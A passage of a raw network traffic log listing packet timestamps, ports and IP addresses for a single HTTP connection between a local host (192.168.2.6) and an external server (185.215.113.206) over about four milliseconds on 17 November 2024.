Nov 17, 2024 10:07:41.960880041 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960891962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960902929 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960905075 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960913897 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960916042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960931063 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960942984 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960948944 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960956097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960966110 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960973024 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960978031 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960983992 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960992098 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961003065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961018085 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961020947 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961033106 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961044073 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961045980 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961055040 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961060047 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961071968 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961085081 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961086035 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961097002 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961111069 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961129904 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961133957 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961146116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961153030 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961158991 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961182117 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961194992 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961205959 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961210012 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961210012 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961234093 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961237907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961250067 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961261034 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961265087 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961272001 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961302996 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961328983 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961333990 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961344957 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961363077 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961368084 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961374998 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961385012 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961385965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961397886 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961400986 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961419106 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961425066 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961431026 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961443901 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961447954 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961455107 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961469889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961476088 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961484909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961494923 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961503029 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961524010 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961545944 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961556911 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961558104 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961570978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961596012 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961613894 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961621046 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961627007 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961638927 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961651087 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961663961 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961673021 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961685896 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961694956 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961694956 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961704016 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961709976 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961728096 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961735010 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961740017 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961757898 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961759090 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961781025 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961785078 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961793900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961807013 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961811066 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961827040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961838961 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961838961 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961852074 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961863041 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961869001 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961879015 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961882114 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961894989 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961905003 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961908102 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961934090 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961942911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961951971 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.961956024 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961968899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961980104 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.961993933 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962021112 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962050915 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962063074 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962073088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962078094 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962086916 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962089062 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962105036 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962124109 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962137938 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962157011 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962157965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962169886 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962179899 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962182045 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962194920 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962202072 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962214947 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962227106 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962230921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962244034 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962254047 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962263107 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962272882 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962280989 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962285042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962291956 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962296963 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962323904 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962330103 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962342978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962352037 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962376118 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962582111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962599993 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962611914 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962624073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962631941 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962642908 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962647915 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962661982 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962667942 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962680101 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962687016 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962691069 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962703943 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962704897 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962716103 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962718010 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962737083 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962738037 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962745905 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962750912 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962762117 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962765932 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962774038 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962785006 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962790966 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962795973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962802887 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962821007 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962824106 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962833881 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962846041 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962846041 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962857008 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962869883 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962874889 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962886095 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962901115 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962904930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962913036 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962918043 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962929964 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962940931 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962946892 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962954044 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962965012 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962971926 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.962975979 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962987900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.962989092 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963000059 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963007927 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963033915 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963040113 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963052034 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963069916 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963082075 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963084936 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963094950 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963113070 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963133097 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963155031 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963165045 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963181973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963192940 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963193893 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963205099 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963211060 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963217974 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963233948 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963244915 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963248968 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963275909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963284016 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963289022 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963301897 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963320971 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963324070 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963340044 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963362932 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963378906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963397980 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963408947 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963418961 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963426113 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963430882 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963438988 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963447094 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963448048 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963464022 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963483095 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963536978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963548899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963566065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963571072 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963589907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963601112 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963603020 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963614941 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963627100 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963628054 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963639975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963663101 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963674068 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963686943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963689089 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963720083 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963722944 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963732958 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963743925 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963763952 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963773012 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963823080 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963841915 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963855028 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963860989 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963865042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963874102 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963879108 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963890076 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963896990 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963917017 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963937044 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.963963032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963974953 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963985920 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.963995934 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964008093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964011908 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964020967 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964031935 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964045048 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964073896 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964086056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964101076 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964119911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964123011 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964133978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964148045 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964168072 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964186907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964196920 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964215040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964240074 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964267015 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964288950 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964306116 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964325905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964339018 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964349985 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964363098 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964378119 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964406967 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964448929 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964461088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964473009 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964489937 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964505911 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964534044 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964545965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964562893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964572906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964581013 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964592934 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964596987 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964607000 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964617968 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964626074 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964629889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964642048 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964648008 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964654922 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964668036 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964677095 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964682102 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964696884 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964699030 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964709044 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964719057 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964720011 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964747906 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964773893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964778900 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964790106 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964809895 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964822054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964833021 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964835882 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964860916 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964871883 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964889050 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964901924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964927912 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964929104 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.964939117 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.964941978 CET	49892	80	192.168.2.6	185.215.113.206
